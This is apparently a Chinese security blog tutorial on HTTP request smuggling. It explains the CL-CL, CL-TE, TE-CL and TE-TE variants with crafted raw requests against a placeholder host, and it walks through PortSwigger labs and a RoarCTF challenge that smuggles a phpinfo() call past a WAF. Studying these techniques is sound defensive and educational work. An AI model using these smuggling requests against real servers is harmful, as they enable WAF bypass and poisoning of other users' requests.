HTTP请求走私
浏览 560 | 评论 0 | 字数 6196
硝基苯
2021年04月29日
  • 简介

    初识HTTP请求走私是在 [RoarCTF 2019]Easy Calc 这道题中遇到,此题两种绕过waf的方法,其中一个就是请求走私。

    什么是HTTP请求走私?

    HTTP请求走私产生原理

    86186-oigce9bh3i.png
    HTTP /1.1开始,我们有两种传数据的方法,一般来说都是

    那什么是keepalive

    首先,我们知道,访问一个网页往往有很多的请求,包括图片、js等等,那如果每次的请求都开启一个TCP的连接,会有很大的浪费,这个时候,http的keepalive出现了,他允许一个TCP中存在多个HTTP请求,当我请求1发送完毕时,TCP不会关闭,此时它会等待下一个请求,这个方法也叫TCP的复用(重载)。

    它的机制是:请求1->响应1->请求2->响应2…

    我们可以发现,如果多个请求发送时需要等上一个响应结束才能开始自己的请求,这个时候出现了pipeline

    pipeline

    它可以:

    请求1->请求2->响应1->响应2

    提高了数据传输的效率

    ngnix服务器中会有个buffer(缓冲区),它将所有请求放入其中,然后以队列的形式进行解析响应,请求1的数据读完后进行响应,然后继续读下一个请求。虽然现在请求中很少见到这种请求方式,但是服务器是默认解析的,如果代理服务器和源服务器之间对HTTP解析规则不一样,不遵守RFC7230中的规定,请求走私也就从这里开始。

    解析规则:
    1.Content-Length:post这个length就有多长,如果是这种解析,那么他读到那个长度就停了,师傅们抓包应该是见过了,当然不包括请求头和数据体间隔的那一行,我们也可以把bp的自动更新CL的关了(选项卡里面的repeat)方便后续操作

    Transfer-Encoding:

    0\r\n
    \r\n   \r\n是换行的意思,windows的换行是\r\n,unix的是\n,mac的是\r

    当服务器如果是采用Transfer_Encoding:Trunk,那么读到这里就会停了,我们发包可以直接0回车,回车,十六进制查看时有0a就行

    从利用方式中进一步理解

    首先,一定要保证第一个请求中是包含第二个请求的

    分五种类型:

    • CL不为0的情况

    这里用GET请求举例(并不是说只有接收POST的才行,只要能接收请求携带的请求体就ok)。前端代理服务器允许GET请求携带请求体;后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。

    构造请求示例:

    GET / HTTP/1.1\r\n
    Host: test.com\r\n
    Content-Length: 47\r\n
     
    GET / secret HTTP/1.1\r\n
    Host: test.com\r\n
    \r\n

    代理服务器认为它是一个请求,然后请求体就是下面那些东西。但是到了源服务器,变为了两个请求

    请求1

    GET / HTTP/1.1\r\n
    Host: test.com\r\n

    请求2

    GET / secret HTTP/1.1\r\n
    Host: test.com\r\n
    \r\n

    第一次发包是把所有的东西发过去了,响应的是请求1,当我们再次去发包的时候,缓冲区的请求2被响应出来。后面就不构造请求了,有点麻烦。

    • CL-CL型

      POST / HTTP/1.1\r\n
      Host: test.com\r\n
      Content-Length: 7\r\n
      Content-Length: 6\r\n

      asdf\r\n
      a

    第一个服务器解析第一个CL,请求为

    POST / HTTP/1.1\r\n
    Host: test.com\r\n
    Content-Length: 7\r\n
     
    asdf\r\n
    a

    于是传递到第二个服务器,服务器解析第二个CL,这个时候,缓冲区的请求变为

    请求一:

    GET / HTTP/1.1\r\n
    Host: test.com\r\n
    Content-Length: 7\r\n
     
    asdf\r\n
    

    请求二:

    a

    当用户在此发起请求时,例如POST

    aPOST / HTTP/1.1\r\n
    Host: test.com\r\n

    这个时候就完成了一种投毒。

    存在一个疑问:为什么除了自己、其他用户去访问它,也会出现403报错?

    答:因为我们知道,我们访问源服务器其实中间过了个代理服务器,所有用户的请求都是先到代理服务器,代理服务器来转发,所以代理服务器和源服务器之间是一条TCP,而不是一个用户对应一条TCP,所以这种方法就可以影响服务器的正常运行

    • CL-TE

    前端服务器接受CL的解析,而后端遵守了RFC7230中的规定,如果有TE和CL那么要用TE覆盖,并且停止转发到下游,立刻停止连接,这个时候已经来不及了,没啥下游了。所以后端就是读TE

    在POST的数据包里构造恶意的请求

    POST / HTTP/1.1\r\n
    Host: test.com\r\n
    Connection: keep-alive\r\n
    Content-Length: 6\r\n
    Transfer-Encoding: chunked\r\n
     
    0\r\n
    \r\n
    a

    代理服务器的解析视角,如上

    源服务器的解析

    请求1

    POST / HTTP/1.1\r\n
    Host: test.com\r\n
    Connection: keep-alive\r\n
    Transfer-Encoding: chunked\r\n
     
    0\r\n
    \r\n

    请求2

    a //a在缓冲区里面等待下一个请求
    • TE-CL

    前端解析TE,后端又解析CL

    POST / HTTP/1.1\r\n
    Host: test.com\r\n
    Connection: keep-alive\r\n
    Transfer-Encoding: chunked\r\n
    Content-Length: 4\r\n
     
    abcde
    0\r\n
    \r\n

    源服务器视角

    请求1

    POST / HTTP/1.1\r\n
    Host: test.com\r\n
    Connection: keep-alive\r\n
    Content-Length: 4\r\n
     
    abcd

    请求2

    e
    • TE-TE

    这里前后端都会处理TE(符合了RFC7230的做法但是没有终止),所以要混淆服务器,让其中一个无法用TE去解析。这个时候又变成了TE-Cl或者CL-TE类型的了

    有小伙伴会问:不是读到0\r\n \r\n 就结束了嘛,为啥会出现两个TE,只要让服务器只能解析一个就好了,另外一个不能解析的就随便写

    Transfer-encoding: 123123123rn

    POST / HTTP/1.1\r\n
    Host: test.com\r\n
    Content-length: 4\r\n
    Transfer-Encoding: chunked\r\n
    Transfer-Encoding: 123132123\r\n
     
    5c\r\n
    aPOST / HTTP/1.1\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Content-Length: 15\r\n
     
    x=1\r\n
    0\r\n
    \r\n

    前端解析TE,接受的请求

    POST / HTTP/1.1\r\n
    Host: test.com\r\n
    Content-length: 4\r\n
    Transfer-Encoding: chunked\r\n
    Transfer-Encoding: 123132123\r\n
     
    5c\r\n
    aPOST / HTTP/1.1\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Content-Length: 16\r\n
     
    x=1\r\n
    0\r\n
    \r\nn

    后端的视角

    请求1

    POST / HTTP/1.\r\n
    Host: test.com\r\n
    Content-length: 4\r\n
    Transfer-Encoding: 123132123\r\n
     
    5c\r\n

    请求2

    aPOST / HTTP/1.1\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Content-Length: 16\r\n
     
    x=1\r\n
    0\r\n
    \r\n

    那请求2由于没有apost这个方法,就会返回403.

    再通过题目来体会最后一波

    CL-TE

    https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

    两个TE被拒绝
    可以看到403的响应
    38357-fxj0bog4exl.png

    现在改成

    Content-Length: 6
    Transfer-Encoding:chunked
     
    0
     
    A

    第一个请求过去返回正常,但是A相当于存在在了缓冲区里,再次访问时返回200,因为缓冲区里已经干净了
    23329-2v3bmxhb8yv.png

    那么我们构造两个请求达成一些目的呢?

    第一次回显肯定是正常的,因为传的参数啥都没干,第二次请求,就把数据包里面的请求带出来了,也不会有什么变化,第三次,留的a和请求粘在一起,报错。我们第二次那个请求不就可以放一些含有payload的请求了吗?因为代理服务器那关我们已经过去了,下面就是下一题

    TE-CL
    我们这里构造的走私是去访问rookie,已知rookie不存在
    10427-lxb7nh6nyjn.png
    (构造的请求包)

    82836-gjznq9wuzvt.png
    (第一次回显,因为同时存在而返回403)

    第一次正常回显,再次访问时,缓冲区还有POST这个请求,就先执行了这个去rookie的请求
    20046-qh3jjgw2aj7.png
    (第二次访问回显可以看到的确是404)

    再次访问

    13746-c3s68r8pmdr.png
    (第三次访问)

    我怀疑是因为读到了

    0\r\n   
    \r\n

    后,0留在了里面,所以当我们访问的时候POST就接到了这里

    如果改成get
    30538-w3p6c53tgkq.png
    返回400
    97852-myhphuf13kr.png
    最后发现两个请求必须要一致,不然就会像这样。如果有师傅知道原因,还望指点。

    再点个题

    那道easy calc的题

    直接说原因了,因为waf接受POST又接收GET,所以可以携带请求体,但是又有两个CL,根据规定,回显了个400,无法正常解析,但是还是把数据包发了过去,源服务器它接收get的num,所以上面是?num=phpinfo();
    62718-yl0kygehc1o.png
    最后,教大家怎么数CL

    把请求体放到word里面,左下角

    点三个字那里

    字符数(计空格)

    OK了

    如果有不对的地方,还望师傅们斧正

    本文章参考:

    https://datatracker.ietf.org/doc/rfc7230/?include_text=1

    https://blog.csdn.net/a3320315/article/details/102937797


    (始发于BUGFOR社区https://www.bugfor.com/vuls/4075.html)

    本文作者:硝基苯
    本文链接:https://www.c6sec.com/index.php/archives/131/
    最后修改时间:2021-05-19 21:35:05
    本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
    评论
    与本文无关评论请发留言板。请不要水评论,谢谢。
    textsms
    支持 Markdown 语法
    email
    link
    评论列表
    暂无评论